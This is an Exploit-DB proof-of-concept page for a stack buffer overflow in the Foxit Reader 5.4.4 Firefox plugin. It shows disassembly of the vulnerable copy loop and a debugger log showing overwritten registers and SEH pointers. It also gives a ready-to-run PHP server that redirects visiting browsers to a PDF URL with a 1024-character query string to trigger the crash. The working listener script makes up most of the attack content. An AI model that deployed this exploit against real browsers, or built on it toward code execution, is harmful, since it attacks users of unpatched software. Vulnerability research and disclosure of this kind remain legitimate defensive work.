Foxit Reader 5.4.4.1128 Firefox Plugin – ‘npFoxitReaderPlugin.dll’ Stack Buffer Overflow (PoC)

  • 作者: rgod
    日期: 2013-01-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23944/
  • <?php
    /*
    Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong 
    Query String Remote Stack Buffer Overflow PoC --------------------------- rgod
    
    (listener)
    
    Tested against Microsoft Windows
    Mozilla Firefox 17.0.1
    Foxit Reader 5.4.3.0920
    Foxit Reader 5.4.4.1128
    
    File: npFoxitReaderPlugin.dll
    Version: 2.2.1.530
    
    Product url: http://www.foxitsoftware.com/downloads/
    Last version setup file: FoxitReader544.11281_enu_Setup.exe
    
    Usage:
    Launch from the command line, then browse port 6666 with Firefox.
    You can test it also through this url:
    
    http://192.168.0.1/x.pdf?[A x 1024]
    
    File must be existing or the server should be responding with
    the proper Content-Type header.
    
    vulnerable code, npFoxitReaderPlugin.dll:
    
    ;------------------------------------------------------------------------------
     L1000162F:
    		push	ebx
    		push	esi
    		push	edi
    		mov	edi,ebp
    		or	ecx,FFFFFFFFh
    		xor	eax,eax
    		xor	ebx,ebx
    		xor	esi,esi
    		repne scasb
    		not	ecx
    		dec	ecx
    		test	ecx,ecx
    		jle	L100016E4
     L1000164A:
    		mov	al,[esi+ebp]
    		mov	word ptr [esp+18h],0000h
    		cmp	al,25h
    		jz 	L10001661
    		mov	ecx,[esp+1Ch]
    		mov	[ebx+ecx],al
    		jmp	L100016CE
     L10001661:
    		mov	al,[esi+ebp+01h]
    		cmp	al,30h
    		jl 	L1000166D
    		cmp	al,39h
    		jle	L1000167D
     L1000166D:
    		cmp	al,41h
    		jl 	L10001675
    		cmp	al,46h
    		jle	L1000167D
     L10001675:
    		cmp	al,61h
    		jl 	L100016C6
    		cmp	al,66h
    		jg 	L100016C6
     L1000167D:
    		mov	dl,[esi+ebp+01h]
    		inc	esi
    		inc	esi
    		lea	ecx,[esp+10h]
    		mov	[esp+18h],dl
    		push	ecx
    		mov	al,[esi+ebp]
    		lea	edx,[esp+1Ch]
    		push	L100450D4
    		push	edx
    		mov	[esp+25h],al
    		call	SUB_L10006421
    		mov	eax,[esp+1Ch]
    		lea	ecx,[esp+24h]
    		push	eax
    		push	L100450D0
    		push	ecx
    		call	SUB_L100063CF
    		mov	eax,[esp+34h]
    		mov	dl,[esp+30h]
    		add	esp,00000018h
    		mov	[ebx+eax],dl
    		jmp	L100016CE
     L100016C6:
    		mov	ecx,[esp+1Ch]
    		mov	byte ptr [ebx+ecx],25h
     L100016CE:
    		inc	ebx
    		mov	edi,ebp
    		or	ecx,FFFFFFFFh
    		xor	eax,eax
    		inc	esi
    		repne scasb
    		not	ecx
    		dec	ecx
    		cmp	esi,ecx
    		jl 	L1000164A
     L100016E4:
    		mov	edx,[esp+1Ch]
    		pop	edi
    		pop	esi
    		mov	eax,00000001h
    		mov	byte ptr [ebx+edx],00h
    		pop	ebx
    		pop	ebp
    		pop	ecx
    		retn
    ;------------------------------------------------------------------------------
    
    this copy loop ends up in overwriting stack pointers, then 
    (by attaching to plugin-container.exe):
    
    (f48.1778): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
    eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
    npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
    10016852 8906mov dword ptr [esi],eaxds:0023:41414141=????????
    ...
    Attempt to write to address 41414141
    ...
    
    also SEH pointers are overwritten
    */
    
    error_reporting(0);
    
    set_time_limit(0);
    
    $port = 6666;
    
    $____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
    "Server: Apache\r\n".
    "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
    "Content-Type: text/html\r\n\r\n";
    
    $____boom = "HTTP/1.1 200 OK\r\n".
    "Server: Apache\r\n".
    "Accept-Ranges: bytes\r\n".
    "Content-Length: 60137\r\n".
    "Content-Type: application/pdf\r\n".
    "Connection: keep-alive\r\n\r\n";
    
    $socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);
    
    if (!$socket) {
    echo "$errstr ($errno)\n";
    } else {
    echo "Listening on public tcp port ".$port." \n";
    while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
    fwrite($conn,$____boom);
    }
    else {
    fwrite($conn,$____redirect);
    }
    fclose($conn);
    }
    fclose($socket);
    }
    ?>